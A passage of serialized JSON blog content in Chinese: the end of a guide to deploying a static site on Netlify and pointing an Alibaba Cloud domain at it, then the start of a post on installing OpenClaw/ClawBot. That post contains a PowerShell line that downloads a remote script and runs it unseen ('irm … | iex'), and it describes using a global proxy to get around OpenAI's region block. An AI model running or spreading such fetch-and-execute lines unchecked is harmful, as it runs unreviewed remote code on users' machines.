Netlify",{"type":18,"tag":337,"props":1316,"children":1318},{"id":1317},"导入仓库",[1319],{"type":24,"value":1317},{"type":18,"tag":34,"props":1321,"children":1322},{},[1323,1324,1329,1331,1337,1338,1344,1345,1350],{"type":24,"value":1007},{"type":18,"tag":43,"props":1325,"children":1327},{"href":1010,"rel":1326},[47],[1328],{"type":24,"value":684},{"type":24,"value":1330},"（用 GitHub 登录）→ ",{"type":18,"tag":74,"props":1332,"children":1334},{"className":1333},[],[1335],{"type":24,"value":1336},"Add new Project",{"type":24,"value":81},{"type":18,"tag":74,"props":1339,"children":1341},{"className":1340},[],[1342],{"type":24,"value":1343},"Import a Git repository",{"type":24,"value":81},{"type":18,"tag":74,"props":1346,"children":1348},{"className":1347},[],[1349],{"type":24,"value":685},{"type":24,"value":222},{"type":18,"tag":34,"props":1352,"children":1353},{},[1354],{"type":18,"tag":54,"props":1355,"children":1358},{"alt":1356,"src":1357},"Netlify导入仓库","\u002Fimages\u002Fblog\u002Fnetlify-deploy\u002F1780919336677.png",[],{"type":18,"tag":337,"props":1360,"children":1362},{"id":1361},"选择仓库",[1363],{"type":24,"value":1361},{"type":18,"tag":34,"props":1365,"children":1366},{},[1367],{"type":24,"value":1368},"在打开的页面中选择刚刚推送的远程仓库：",{"type":18,"tag":34,"props":1370,"children":1371},{},[1372],{"type":18,"tag":54,"props":1373,"children":1375},{"alt":1361,"src":1374},"\u002Fimages\u002Fblog\u002Fnetlify-deploy\u002F1780919618467.png",[],{"type":18,"tag":34,"props":1377,"children":1378},{},[1379,1381,1387],{"type":24,"value":1380},"若未显示目标仓库，点击 ",{"type":18,"tag":74,"props":1382,"children":1384},{"className":1383},[],[1385],{"type":24,"value":1386},"Configure the Netlify app on GitHub",{"type":24,"value":1388}," 前往 GitHub 配置权限：",{"type":18,"tag":34,"props":1390,"children":1391},{},[1392],{"type":18,"tag":54,"props":1393,"children":1396},{"alt":1394,"src":1395},"配置GitHub权限","\u002Fimages\u002Fblog\u002Fnetlify-deploy\u002F1780919554552.png",[],{"type":18,"tag":337,"props":1398,"children":1400},{"id":1399},"配置并部署",[1401],{"type":24,"value":1399},{"type":18,"tag":34,"props":1403,"children":1404},{},[1405,1407,1413],{"type":24,"value":1406},"根据项目需求进行配置。此处仅填写项目名，然后滚动到页面底部点击 ",{"type":18,"tag":74,"props":1408,"children":1410},{"className":1409},[],[1411],{"type":24,"value":1412},"Deploy",{"type":24,"value":1414}," 开始部署：",{"type":18,"tag":34,"props":1416,"children":1417},{},[1418],{"type":18,"tag":54,"props":1419,"children":1422},{"alt":1420,"src":1421},"部署配置","\u002Fimages\u002Fblog\u002Fnetlify-deploy\u002F1780919911379.png",[],{"type":18,"tag":337,"props":1424,"children":1426},{"id":1425},"部署成功",[1427],{"type":24,"value":1425},{"type":18,"tag":34,"props":1429,"children":1430},{},[1431],{"type":24,"value":1432},"部署成功后，页面会展示绿色的网站访问链接，点击即可直接访问：",{"type":18,"tag":34,"props":1434,"children":1435},{},[1436],{"type":18,"tag":54,"props":1437,"children":1439},{"alt":1425,"src":1438},"\u002Fimages\u002Fblog\u002Fnetlify-deploy\u002F1780920060420.png",[],{"type":18,"tag":121,"props":1441,"children":1442},{},[],{"type":18,"tag":19,"props":1444,"children":1446},{"id":1445},"四配置自定义域名",[1447],{"type":24,"value":1448},"四、配置自定义域名",{"type":18,"tag":96,"props":1450,"children":1451},{},[1452],{"type":18,"tag":34,"props":1453,"children":1454},{},[1455,1457,1463],{"type":24,"value":1456},"前提：已拥有注册好的域名。此处以阿里云注册的 ",{"type":18,"tag":74,"props":1458,"children":1460},{"className":1459},[],[1461],{"type":24,"value":1462},"junbo.site",{"type":24,"value":1464}," 为例。",{"type":18,"tag":27,"props":1466,"children":1468},{"id":1467},"_1-添加域名",[1469],{"type":24,"value":1470},"1. 添加域名",{"type":18,"tag":34,"props":1472,"children":1473},{},[1474,1476,1481],{"type":24,"value":1475},"在 Netlify 的 ",{"type":18,"tag":74,"props":1477,"children":1479},{"className":1478},[],[1480],{"type":24,"value":1183},{"type":24,"value":1482}," 项目设置页，依次点击：",{"type":18,"tag":34,"props":1484,"children":1485},{},[1486,1492,1493,1499,1500],{"type":18,"tag":74,"props":1487,"children":1489},{"className":1488},[],[1490],{"type":24,"value":1491},"Domain management",{"type":24,"value":81},{"type":18,"tag":74,"props":1494,"children":1496},{"className":1495},[],[1497],{"type":24,"value":1498},"Add a domain",{"type":24,"value":81},{"type":18,"tag":74,"props":1501,"children":1503},{"className":1502},[],[1504],{"type":24,"value":1505},"Add a domain you already own",{"type":18,"tag":34,"props":1507,"children":1508},{},[1509],{"type":18,"tag":54,"props":1510,"children":1513},{"alt":1511,"src":1512},"添加域名入口","\u002Fimages\u002Fblog\u002Fnetlify-deploy\u002F1780920371554.png",[],{"type":18,"tag":27,"props":1515,"children":1517},{"id":1516},"_2-验证域名",[1518],{"type":24,"value":1519},"2. 验证域名",{"type":18,"tag":34,"props":1521,"children":1522},{},[1523,1525,1531],{"type":24,"value":1524},"输入已注册的域名，点击 ",{"type":18,"tag":74,"props":1526,"children":1528},{"className":1527},[],[1529],{"type":24,"value":1530},"Verify",{"type":24,"value":222},{"type":18,"tag":34,"props":1533,"children":1534},{},[1535],{"type":18,"tag":54,"props":1536,"children":1539},{"alt":1537,"src":1538},"验证域名","\u002Fimages\u002Fblog\u002Fnetlify-deploy\u002F1780920515094.png",[],{"type":18,"tag":34,"props":1541,"children":1542},{},[1543],{"type":24,"value":1544},"出现以下提示说明域名验证成功：",{"type":18,"tag":96,"props":1546,"children":1547},{},[1548],{"type":18,"tag":34,"props":1549,"children":1550},{},[1551,1555],{"type":18,"tag":105,"props":1552,"children":1553},{},[1554],{"type":24,"value":1462},{"type":24,"value":1556}," found! To connect it to your site, update your DNS records at your registrar. Open \"Pending DNS verification\" in the next step for step-by-step instructions. Your site will work once the changes propagate.",{"type":18,"tag":34,"props":1558,"children":1559},{},[1560,1562,1568],{"type":24,"value":1561},"点击 ",{"type":18,"tag":74,"props":1563,"children":1565},{"className":1564},[],[1566],{"type":24,"value":1567},"Add domain",{"type":24,"value":222},{"type":18,"tag":34,"props":1570,"children":1571},{},[1572],{"type":18,"tag":54,"props":1573,"children":1576},{"alt":1574,"src":1575},"添加域名确认","\u002Fimages\u002Fblog\u002Fnetlify-deploy\u002F1780920664535.png",[],{"type":18,"tag":27,"props":1578,"children":1580},{"id":1579},"_3-查看-dns-配置要求",[1581],{"type":24,"value":1582},"3. 查看 DNS 配置要求",{"type":18,"tag":34,"props":1584,"children":1585},{},[1586],{"type":24,"value":1587},"正常会出现以下页面，表示需要自行配置 DNS 解析：",{"type":18,"tag":34,"props":1589,"children":1590},{},[1591],{"type":18,"tag":54,"props":1592,"children":1595},{"alt":1593,"src":1594},"DNS配置提示","\u002Fimages\u002Fblog\u002Fnetlify-deploy\u002F1780920735966.png",[],{"type":18,"tag":27,"props":1597,"children":1599},{"id":1598},"_4-配置阿里云-dns-解析",[1600],{"type":24,"value":1601},"4. 配置阿里云 DNS 解析",{"type":18,"tag":34,"props":1603,"children":1604},{},[1605],{"type":24,"value":1606},"前往阿里云配置域名 DNS 解析。此处使用移动端阿里云操作：",{"type":18,"tag":34,"props":1608,"children":1609},{},[1610],{"type":18,"tag":54,"props":1611,"children":1614},{"alt":1612,"src":1613},"阿里云DNS配置","\u002Fimages\u002Fblog\u002Fnetlify-deploy\u002F1780921374774.png",[],{"type":18,"tag":337,"props":1616,"children":1618},{"id":1617},"dns-记录配置",[1619],{"type":24,"value":1620},"DNS 记录配置",{"type":18,"tag":34,"props":1622,"children":1623},{},[1624],{"type":24,"value":1625},"根域名使用 A 记录，子域名使用 CNAME 记录：",{"type":18,"tag":431,"props":1627,"children":1628},{},[1629,1650],{"type":18,"tag":435,"props":1630,"children":1631},{},[1632],{"type":18,"tag":439,"props":1633,"children":1634},{},[1635,1640,1645],{"type":18,"tag":443,"props":1636,"children":1637},{},[1638],{"type":24,"value":1639},"记录类型",{"type":18,"tag":443,"props":1641,"children":1642},{},[1643],{"type":24,"value":1644},"主机记录",{"type":18,"tag":443,"props":1646,"children":1647},{},[1648],{"type":24,"value":1649},"记录值",{"type":18,"tag":459,"props":1651,"children":1652},{},[1653,1679],{"type":18,"tag":439,"props":1654,"children":1655},{},[1656,1661,1670],{"type":18,"tag":466,"props":1657,"children":1658},{},[1659],{"type":24,"value":1660},"A",{"type":18,"tag":466,"props":1662,"children":1663},{},[1664],{"type":18,"tag":74,"props":1665,"children":1667},{"className":1666},[],[1668],{"type":24,"value":1669},"@",{"type":18,"tag":466,"props":1671,"children":1672},{},[1673],{"type":18,"tag":74,"props":1674,"children":1676},{"className":1675},[],[1677],{"type":24,"value":1678},"75.2.60.5",{"type":18,"tag":439,"props":1680,"children":1681},{},[1682,1687,1696],{"type":18,"tag":466,"props":1683,"children":1684},{},[1685],{"type":24,"value":1686},"CNAME",{"type":18,"tag":466,"props":1688,"children":1689},{},[1690],{"type":18,"tag":74,"props":1691,"children":1693},{"className":1692},[],[1694],{"type":24,"value":1695},"www",{"type":18,"tag":466,"props":1697,"children":1698},{},[1699],{"type":18,"tag":74,"props":1700,"children":1702},{"className":1701},[],[1703],{"type":24,"value":1704},"english-exam-site.netlify.app",{"type":18,"tag":96,"props":1706,"children":1707},{},[1708,1717],{"type":18,"tag":34,"props":1709,"children":1710},{},[1711,1716],{"type":18,"tag":105,"props":1712,"children":1713},{},[1714],{"type":24,"value":1715},"注意",{"type":24,"value":222},{"type":18,"tag":210,"props":1718,"children":1719},{},[1720,1725,1735],{"type":18,"tag":158,"props":1721,"children":1722},{},[1723],{"type":24,"value":1724},"阿里云不支持 CNAME 扁平化，根域名需用 A 记录",{"type":18,"tag":158,"props":1726,"children":1727},{},[1728,1730],{"type":24,"value":1729},"Netlify 当前 Load Balancer IP 为 ",{"type":18,"tag":74,"props":1731,"children":1733},{"className":1732},[],[1734],{"type":24,"value":1678},{"type":18,"tag":158,"props":1736,"children":1737},{},[1738,1740,1747],{"type":24,"value":1739},"建议前往 ",{"type":18,"tag":43,"props":1741,"children":1744},{"href":1742,"rel":1743},"https:\u002F\u002Fdocs.netlify.com\u002Fdomains-https\u002Fcustom-domains\u002Fconfigure-external-dns\u002F",[47],[1745],{"type":24,"value":1746},"Netlify 官方文档",{"type":24,"value":1748}," 确认最新 IP",{"type":18,"tag":27,"props":1750,"children":1752},{"id":1751},"_5-等待生效",[1753],{"type":24,"value":1754},"5. 等待生效",{"type":18,"tag":34,"props":1756,"children":1757},{},[1758],{"type":24,"value":1759},"配置好 DNS 解析后，回到 Netlify 等待 DNS 生效和 HTTPS 配置：",{"type":18,"tag":431,"props":1761,"children":1762},{},[1763,1783],{"type":18,"tag":435,"props":1764,"children":1765},{},[1766],{"type":18,"tag":439,"props":1767,"children":1768},{},[1769,1774,1778],{"type":18,"tag":443,"props":1770,"children":1771},{},[1772],{"type":24,"value":1773},"阶段",{"type":18,"tag":443,"props":1775,"children":1776},{},[1777],{"type":24,"value":843},{"type":18,"tag":443,"props":1779,"children":1780},{},[1781],{"type":24,"value":1782},"耗时",{"type":18,"tag":459,"props":1784,"children":1785},{},[1786,1804,1822,1840],{"type":18,"tag":439,"props":1787,"children":1788},{},[1789,1794,1799],{"type":18,"tag":466,"props":1790,"children":1791},{},[1792],{"type":24,"value":1793},"DNS 生效",{"type":18,"tag":466,"props":1795,"children":1796},{},[1797],{"type":24,"value":1798},"解析传播",{"type":18,"tag":466,"props":1800,"children":1801},{},[1802],{"type":24,"value":1803},"几分钟到几小时",{"type":18,"tag":439,"props":1805,"children":1806},{},[1807,1812,1817],{"type":18,"tag":466,"props":1808,"children":1809},{},[1810],{"type":24,"value":1811},"DNS 检测",{"type":18,"tag":466,"props":1813,"children":1814},{},[1815],{"type":24,"value":1816},"Netlify 自动检测指向是否正确",{"type":18,"tag":466,"props":1818,"children":1819},{},[1820],{"type":24,"value":1821},"自动",{"type":18,"tag":439,"props":1823,"children":1824},{},[1825,1830,1835],{"type":18,"tag":466,"props":1826,"children":1827},{},[1828],{"type":24,"value":1829},"SSL 证书",{"type":18,"tag":466,"props":1831,"children":1832},{},[1833],{"type":24,"value":1834},"Netlify 自动申请 Let's Encrypt 证书",{"type":18,"tag":466,"props":1836,"children":1837},{},[1838],{"type":24,"value":1839},"几分钟",{"type":18,"tag":439,"props":1841,"children":1842},{},[1843,1848,1853],{"type":18,"tag":466,"props":1844,"children":1845},{},[1846],{"type":24,"value":1847},"状态确认",{"type":18,"tag":466,"props":1849,"children":1850},{},[1851],{"type":24,"value":1852},"域名状态标记为 ✅ Active",{"type":18,"tag":466,"props":1854,"children":1855},{},[1856],{"type":24,"value":1857},"完成",{"type":18,"tag":34,"props":1859,"children":1860},{},[1861],{"type":18,"tag":54,"props":1862,"children":1865},{"alt":1863,"src":1864},"域名配置成功","\u002Fimages\u002Fblog\u002Fnetlify-deploy\u002F1780923457631.png",[],{"type":18,"tag":27,"props":1867,"children":1869},{"id":1868},"_6-访问验证",[1870],{"type":24,"value":1871},"6. 访问验证",{"type":18,"tag":34,"props":1873,"children":1874},{},[1875,1877,1883],{"type":24,"value":1876},"访问 ",{"type":18,"tag":74,"props":1878,"children":1880},{"className":1879},[],[1881],{"type":24,"value":1882},"https:\u002F\u002F你的域名",{"type":24,"value":1884}," 验证是否成功：",{"type":18,"tag":34,"props":1886,"children":1887},{},[1888],{"type":18,"tag":54,"props":1889,"children":1892},{"alt":1890,"src":1891},"成功访问","\u002Fimages\u002Fblog\u002Fnetlify-deploy\u002F1780923512392.png",[],{"type":18,"tag":121,"props":1894,"children":1895},{},[],{"type":18,"tag":19,"props":1897,"children":1899},{"id":1898},"五总结",[1900],{"type":24,"value":1901},"五、总结",{"type":18,"tag":431,"props":1903,"children":1904},{},[1905,1920],{"type":18,"tag":435,"props":1906,"children":1907},{},[1908],{"type":18,"tag":439,"props":1909,"children":1910},{},[1911,1915],{"type":18,"tag":443,"props":1912,"children":1913},{},[1914],{"type":24,"value":1773},{"type":18,"tag":443,"props":1916,"children":1917},{},[1918],{"type":24,"value":1919},"关键操作",{"type":18,"tag":459,"props":1921,"children":1922},{},[1923,1950,1963,1976],{"type":18,"tag":439,"props":1924,"children":1925},{},[1926,1931],{"type":18,"tag":466,"props":1927,"children":1928},{},[1929],{"type":24,"value":1930},"准备",{"type":18,"tag":466,"props":1932,"children":1933},{},[1934,1936,1941,1943,1948],{"type":24,"value":1935},"创建 ",{"type":18,"tag":74,"props":1937,"children":1939},{"className":1938},[],[1940],{"type":24,"value":718},{"type":24,"value":1942},"、",{"type":18,"tag":74,"props":1944,"children":1946},{"className":1945},[],[1947],{"type":24,"value":757},{"type":24,"value":1949},"，初始化 Git 仓库",{"type":18,"tag":439,"props":1951,"children":1952},{},[1953,1958],{"type":18,"tag":466,"props":1954,"children":1955},{},[1956],{"type":24,"value":1957},"推送",{"type":18,"tag":466,"props":1959,"children":1960},{},[1961],{"type":24,"value":1962},"代码推送至 GitHub 远程仓库",{"type":18,"tag":439,"props":1964,"children":1965},{},[1966,1971],{"type":18,"tag":466,"props":1967,"children":1968},{},[1969],{"type":24,"value":1970},"部署",{"type":18,"tag":466,"props":1972,"children":1973},{},[1974],{"type":24,"value":1975},"Netlify 导入仓库，一键部署",{"type":18,"tag":439,"props":1977,"children":1978},{},[1979,1984],{"type":18,"tag":466,"props":1980,"children":1981},{},[1982],{"type":24,"value":1983},"域名",{"type":18,"tag":466,"props":1985,"children":1986},{},[1987],{"type":24,"value":1988},"添加自定义域名，配置 DNS 解析，等待生效",{"type":18,"tag":34,"props":1990,"children":1991},{},[1992,1994,1999],{"type":24,"value":1993},"Netlify 的优势在于",{"type":18,"tag":105,"props":1995,"children":1996},{},[1997],{"type":24,"value":1998},"自动化",{"type":24,"value":2000},"：代码推送后自动构建部署，SSL 证书自动申请，省去大量手动配置工作。",{"type":18,"tag":651,"props":2002,"children":2003},{},[2004],{"type":24,"value":655},{"title":8,"searchDepth":657,"depth":657,"links":2006},[2007,2011,2014,2018,2026],{"id":699,"depth":657,"text":702,"children":2008},[2009,2010],{"id":705,"depth":662,"text":708},{"id":863,"depth":662,"text":866},{"id":972,"depth":657,"text":975,"children":2012},[2013],{"id":1062,"depth":662,"text":1062},{"id":1158,"depth":657,"text":1161,"children":2015},[2016,2017],{"id":1164,"depth":662,"text":1167},{"id":1311,"depth":662,"text":1314},{"id":1445,"depth":657,"text":1448,"children":2019},[2020,2021,2022,2023,2024,2025],{"id":1467,"depth":662,"text":1470},{"id":1516,"depth":662,"text":1519},{"id":1579,"depth":662,"text":1582},{"id":1598,"depth":662,"text":1601},{"id":1751,"depth":662,"text":1754},{"id":1868,"depth":662,"text":1871},{"id":1898,"depth":657,"text":1901},"content:blog:2026-06-08-netlify-deploy-static-site.md","blog\u002F2026-06-08-netlify-deploy-static-site.md","blog\u002F2026-06-08-netlify-deploy-static-site",{"_path":2031,"_dir":6,"_draft":7,"_partial":7,"_locale":8,"title":2032,"description":2033,"date":2034,"tags":2035,"body":2041,"_type":672,"_id":2943,"_source":674,"_file":2944,"_stem":2945,"_extension":677},"\u002Fblog\u002F2026-06-04-clawbot-quickstart-guide","0~1 ClawBot快速接入实战","从零开始的ClawBot接入教程：OpenClaw安装配置、DeepSeek切换、微信插件接入、会话隔离设置。","2026-06-04",[2036,2037,2038,2039,2040],"ClawBot","OpenClaw","DeepSeek","微信","智能体",{"type":15,"children":2042,"toc":2936},[2043,2049,2054,2059,2077,2082,2087,2090,2096,2101,2106,2122,2127,2133,2138,2227,2232,2238,2251,2268,2282,2295,2300,2305,2319,2324,2330,2342,2347,2357,2363,2368,2382,2387,2486,2499,2504,2509,2523,2544,2552,2557,2571,2576,2589,2592,2598,2603,2617,2622,2628,2674,2687,2695,2706,2709,2715,2720,2725,2733,2738,2743,2757,2762,2770,2775,2789,2794,2802,2808,2813,2827,2832,2857,2862,2865,2871,2876,2919,2924,2932],{"type":18,"tag":27,"props":2044,"children":2046},{"id":2045},"前言为什么我现在才尝试-openclaw",[2047],{"type":24,"value":2048},"前言：为什么我现在才尝试 OpenClaw",{"type":18,"tag":34,"props":2050,"children":2051},{},[2052],{"type":24,"value":2053},"这次对前几天的折腾做个总结，说实话，我对 AI 智能体一直很感兴趣，但之前 OpenClaw 火的时候，我根本不敢碰。",{"type":18,"tag":34,"props":2055,"children":2056},{},[2057],{"type":24,"value":2058},"一搜教程，全是劝退：",{"type":18,"tag":210,"props":2060,"children":2061},{},[2062,2067,2072],{"type":18,"tag":158,"props":2063,"children":2064},{},[2065],{"type":24,"value":2066},"\"安装配置特别复杂\"",{"type":18,"tag":158,"props":2068,"children":2069},{},[2070],{"type":24,"value":2071},"\"有风险，建议装虚拟机里\"",{"type":18,"tag":158,"props":2073,"children":2074},{},[2075],{"type":24,"value":2076},"\"环境配置一堆坑\"",{"type":18,"tag":34,"props":2078,"children":2079},{},[2080],{"type":24,"value":2081},"作为一个智能体小白，看到这些我直接劝退了。直到最近，微信推出官方 ClawBot 插件，我才觉得——是时候试试这块硬骨头了。",{"type":18,"tag":34,"props":2083,"children":2084},{},[2085],{"type":24,"value":2086},"结果？整个过程意外顺利。普通人想用 ClawBot 聊天或做简单指令，其实并不难。",{"type":18,"tag":121,"props":2088,"children":2089},{},[],{"type":18,"tag":27,"props":2091,"children":2093},{"id":2092},"第一阶段openclaw-安装",[2094],{"type":24,"value":2095},"第一阶段：OpenClaw 安装",{"type":18,"tag":337,"props":2097,"children":2099},{"id":2098},"执行官方安装指令",[2100],{"type":24,"value":2098},{"type":18,"tag":34,"props":2102,"children":2103},{},[2104],{"type":24,"value":2105},"打开 PowerShell，执行官方一键安装命令：",{"type":18,"tag":287,"props":2107,"children":2111},{"code":2108,"language":2109,"meta":8,"className":2110,"style":8},"powershell -c \"irm https:\u002F\u002Fopenclaw.ai\u002Finstall.ps1 | iex\"\n","powershell","language-powershell shiki shiki-themes github-dark",[2112],{"type":18,"tag":74,"props":2113,"children":2114},{"__ignoreMap":8},[2115],{"type":18,"tag":297,"props":2116,"children":2117},{"class":299,"line":300},[2118],{"type":18,"tag":297,"props":2119,"children":2120},{},[2121],{"type":24,"value":2108},{"type":18,"tag":34,"props":2123,"children":2124},{},[2125],{"type":24,"value":2126},"安装脚本自动帮我配置了 Node.js 环境，然后 OpenClaw 主程序启动了 Setup Wizard（安装向导）。",{"type":18,"tag":337,"props":2128,"children":2130},{"id":2129},"setup-wizard-配置过程",[2131],{"type":24,"value":2132},"Setup Wizard 配置过程",{"type":18,"tag":34,"props":2134,"children":2135},{},[2136],{"type":24,"value":2137},"向导的问答流程：",{"type":18,"tag":431,"props":2139,"children":2140},{},[2141,2156],{"type":18,"tag":435,"props":2142,"children":2143},{},[2144],{"type":18,"tag":439,"props":2145,"children":2146},{},[2147,2151],{"type":18,"tag":443,"props":2148,"children":2149},{},[2150],{"type":24,"value":557},{"type":18,"tag":443,"props":2152,"children":2153},{},[2154],{"type":24,"value":2155},"我的选择",{"type":18,"tag":459,"props":2157,"children":2158},{},[2159,2176,2193,2210],{"type":18,"tag":439,"props":2160,"children":2161},{},[2162,2167],{"type":18,"tag":466,"props":2163,"children":2164},{},[2165],{"type":24,"value":2166},"Q1",{"type":18,"tag":466,"props":2168,"children":2169},{},[2170],{"type":18,"tag":74,"props":2171,"children":2173},{"className":2172},[],[2174],{"type":24,"value":2175},"YES",{"type":18,"tag":439,"props":2177,"children":2178},{},[2179,2184],{"type":18,"tag":466,"props":2180,"children":2181},{},[2182],{"type":24,"value":2183},"Q2",{"type":18,"tag":466,"props":2185,"children":2186},{},[2187],{"type":18,"tag":74,"props":2188,"children":2190},{"className":2189},[],[2191],{"type":24,"value":2192},"QuickStart（recommended）",{"type":18,"tag":439,"props":2194,"children":2195},{},[2196,2201],{"type":18,"tag":466,"props":2197,"children":2198},{},[2199],{"type":24,"value":2200},"Q3",{"type":18,"tag":466,"props":2202,"children":2203},{},[2204],{"type":18,"tag":74,"props":2205,"children":2207},{"className":2206},[],[2208],{"type":24,"value":2209},"OpenAI",{"type":18,"tag":439,"props":2211,"children":2212},{},[2213,2218],{"type":18,"tag":466,"props":2214,"children":2215},{},[2216],{"type":24,"value":2217},"Q4",{"type":18,"tag":466,"props":2219,"children":2220},{},[2221],{"type":18,"tag":74,"props":2222,"children":2224},{"className":2223},[],[2225],{"type":24,"value":2226},"ChatGPT\u002FCodex Browser Login",{"type":18,"tag":34,"props":2228,"children":2229},{},[2230],{"type":24,"value":2231},"选择 Q4 后，系统弹出浏览器让我登录 OpenAI。",{"type":18,"tag":337,"props":2233,"children":2235},{"id":2234},"遇到的第一个问题地区限制",[2236],{"type":24,"value":2237},"遇到的第一个问题：地区限制",{"type":18,"tag":34,"props":2239,"children":2240},{},[2241,2243,2249],{"type":24,"value":2242},"浏览器显示 ",{"type":18,"tag":74,"props":2244,"children":2246},{"className":2245},[],[2247],{"type":24,"value":2248},"Authentication successful",{"type":24,"value":2250},"，登录成功了。但 OpenClaw 本地进程向 OpenAI 换取访问令牌时，被拒绝了——判断为来自不支持的地区或网络线路。",{"type":18,"tag":34,"props":2252,"children":2253},{},[2254,2258,2260,2266],{"type":18,"tag":105,"props":2255,"children":2256},{},[2257],{"type":24,"value":567},{"type":24,"value":2259},"：把代理改成 ",{"type":18,"tag":74,"props":2261,"children":2263},{"className":2262},[],[2264],{"type":24,"value":2265},"Tun",{"type":24,"value":2267}," 模式（全局代理），重新执行登录命令：",{"type":18,"tag":287,"props":2269,"children":2271},{"code":2270,"language":2109,"meta":8,"className":2110,"style":8},"openclaw models auth login --provider openai-codex\n",[2272],{"type":18,"tag":74,"props":2273,"children":2274},{"__ignoreMap":8},[2275],{"type":18,"tag":297,"props":2276,"children":2277},{"class":299,"line":300},[2278],{"type":18,"tag":297,"props":2279,"children":2280},{},[2281],{"type":24,"value":2270},{"type":18,"tag":34,"props":2283,"children":2284},{},[2285,2287,2293],{"type":24,"value":2286},"登录成功了，但 Codex 插件安装失败。不过这不影响后续使用，我直接 ",{"type":18,"tag":74,"props":2288,"children":2290},{"className":2289},[],[2291],{"type":24,"value":2292},"Ctrl+C",{"type":24,"value":2294}," 中断进程。",{"type":18,"tag":337,"props":2296,"children":2298},{"id":2297},"验证模型列表",[2299],{"type":24,"value":2297},{"type":18,"tag":34,"props":2301,"children":2302},{},[2303],{"type":24,"value":2304},"执行以下命令检查是否成功获取到 OpenAI 的大模型：",{"type":18,"tag":287,"props":2306,"children":2308},{"code":2307,"language":2109,"meta":8,"className":2110,"style":8},"openclaw models list\n",[2309],{"type":18,"tag":74,"props":2310,"children":2311},{"__ignoreMap":8},[2312],{"type":18,"tag":297,"props":2313,"children":2314},{"class":299,"line":300},[2315],{"type":18,"tag":297,"props":2316,"children":2317},{},[2318],{"type":24,"value":2307},{"type":18,"tag":34,"props":2320,"children":2321},{},[2322],{"type":24,"value":2323},"可以看到模型列表已经正常显示。",{"type":18,"tag":337,"props":2325,"children":2327},{"id":2326},"遇到的第二个问题对话请求被拒绝",[2328],{"type":24,"value":2329},"遇到的第二个问题：对话请求被拒绝",{"type":18,"tag":34,"props":2331,"children":2332},{},[2333,2334,2340],{"type":24,"value":642},{"type":18,"tag":74,"props":2335,"children":2337},{"className":2336},[],[2338],{"type":24,"value":2339},"openclaw chat",{"type":24,"value":2341}," 打开对话，尝试调用模型后，推理调用失败了。",{"type":18,"tag":34,"props":2343,"children":2344},{},[2345],{"type":24,"value":2346},"OpenClaw 能看到我的 OpenAI 账号，也能拉取模型列表，但真正发起 GPT-5.5 对话请求时，被 OpenAI 拒绝了。",{"type":18,"tag":34,"props":2348,"children":2349},{},[2350,2355],{"type":18,"tag":105,"props":2351,"children":2352},{},[2353],{"type":24,"value":2354},"解决思路",{"type":24,"value":2356},"：既然 OpenAI 有地区限制，那就换个模型提供商——接入 DeepSeek。",{"type":18,"tag":337,"props":2358,"children":2360},{"id":2359},"切换到-deepseek",[2361],{"type":24,"value":2362},"切换到 DeepSeek",{"type":18,"tag":34,"props":2364,"children":2365},{},[2366],{"type":24,"value":2367},"执行配置命令：",{"type":18,"tag":287,"props":2369,"children":2371},{"code":2370,"language":2109,"meta":8,"className":2110,"style":8},"openclaw configure\n",[2372],{"type":18,"tag":74,"props":2373,"children":2374},{"__ignoreMap":8},[2375],{"type":18,"tag":297,"props":2376,"children":2377},{"class":299,"line":300},[2378],{"type":18,"tag":297,"props":2379,"children":2380},{},[2381],{"type":24,"value":2370},{"type":18,"tag":34,"props":2383,"children":2384},{},[2385],{"type":24,"value":2386},"配置流程：",{"type":18,"tag":431,"props":2388,"children":2389},{},[2390,2404],{"type":18,"tag":435,"props":2391,"children":2392},{},[2393],{"type":18,"tag":439,"props":2394,"children":2395},{},[2396,2400],{"type":18,"tag":443,"props":2397,"children":2398},{},[2399],{"type":24,"value":557},{"type":18,"tag":443,"props":2401,"children":2402},{},[2403],{"type":24,"value":2155},{"type":18,"tag":459,"props":2405,"children":2406},{},[2407,2423,2439,2455,2473],{"type":18,"tag":439,"props":2408,"children":2409},{},[2410,2414],{"type":18,"tag":466,"props":2411,"children":2412},{},[2413],{"type":24,"value":2166},{"type":18,"tag":466,"props":2415,"children":2416},{},[2417],{"type":18,"tag":74,"props":2418,"children":2420},{"className":2419},[],[2421],{"type":24,"value":2422},"Local（this machine）",{"type":18,"tag":439,"props":2424,"children":2425},{},[2426,2430],{"type":18,"tag":466,"props":2427,"children":2428},{},[2429],{"type":24,"value":2183},{"type":18,"tag":466,"props":2431,"children":2432},{},[2433],{"type":18,"tag":74,"props":2434,"children":2436},{"className":2435},[],[2437],{"type":24,"value":2438},"Model",{"type":18,"tag":439,"props":2440,"children":2441},{},[2442,2446],{"type":18,"tag":466,"props":2443,"children":2444},{},[2445],{"type":24,"value":2200},{"type":18,"tag":466,"props":2447,"children":2448},{},[2449],{"type":18,"tag":74,"props":2450,"children":2452},{"className":2451},[],[2453],{"type":24,"value":2454},"More",{"type":18,"tag":439,"props":2456,"children":2457},{},[2458,2462],{"type":18,"tag":466,"props":2459,"children":2460},{},[2461],{"type":24,"value":2217},{"type":18,"tag":466,"props":2463,"children":2464},{},[2465,2471],{"type":18,"tag":74,"props":2466,"children":2468},{"className":2467},[],[2469],{"type":24,"value":2470},"deepseek",{"type":24,"value":2472},"，然后输入我的 DeepSeek API Key",{"type":18,"tag":439,"props":2474,"children":2475},{},[2476,2481],{"type":18,"tag":466,"props":2477,"children":2478},{},[2479],{"type":24,"value":2480},"Q5",{"type":18,"tag":466,"props":2482,"children":2483},{},[2484],{"type":24,"value":2485},"方向键选择模型，空格键选中",{"type":18,"tag":34,"props":2487,"children":2488},{},[2489,2491,2497],{"type":24,"value":2490},"配置完成后选择 ",{"type":18,"tag":74,"props":2492,"children":2494},{"className":2493},[],[2495],{"type":24,"value":2496},"None",{"type":24,"value":2498}," 退出配置项。",{"type":18,"tag":337,"props":2500,"children":2502},{"id":2501},"首次成功对话",[2503],{"type":24,"value":2501},{"type":18,"tag":34,"props":2505,"children":2506},{},[2507],{"type":24,"value":2508},"重新执行：",{"type":18,"tag":287,"props":2510,"children":2512},{"code":2511,"language":2109,"meta":8,"className":2110,"style":8},"openclaw chat\n",[2513],{"type":18,"tag":74,"props":2514,"children":2515},{"__ignoreMap":8},[2516],{"type":18,"tag":297,"props":2517,"children":2518},{"class":299,"line":300},[2519],{"type":18,"tag":297,"props":2520,"children":2521},{},[2522],{"type":24,"value":2511},{"type":18,"tag":34,"props":2524,"children":2525},{},[2526,2528,2534,2536,2542],{"type":24,"value":2527},"打开后发现它自动恢复了上一次的会话记录。输入 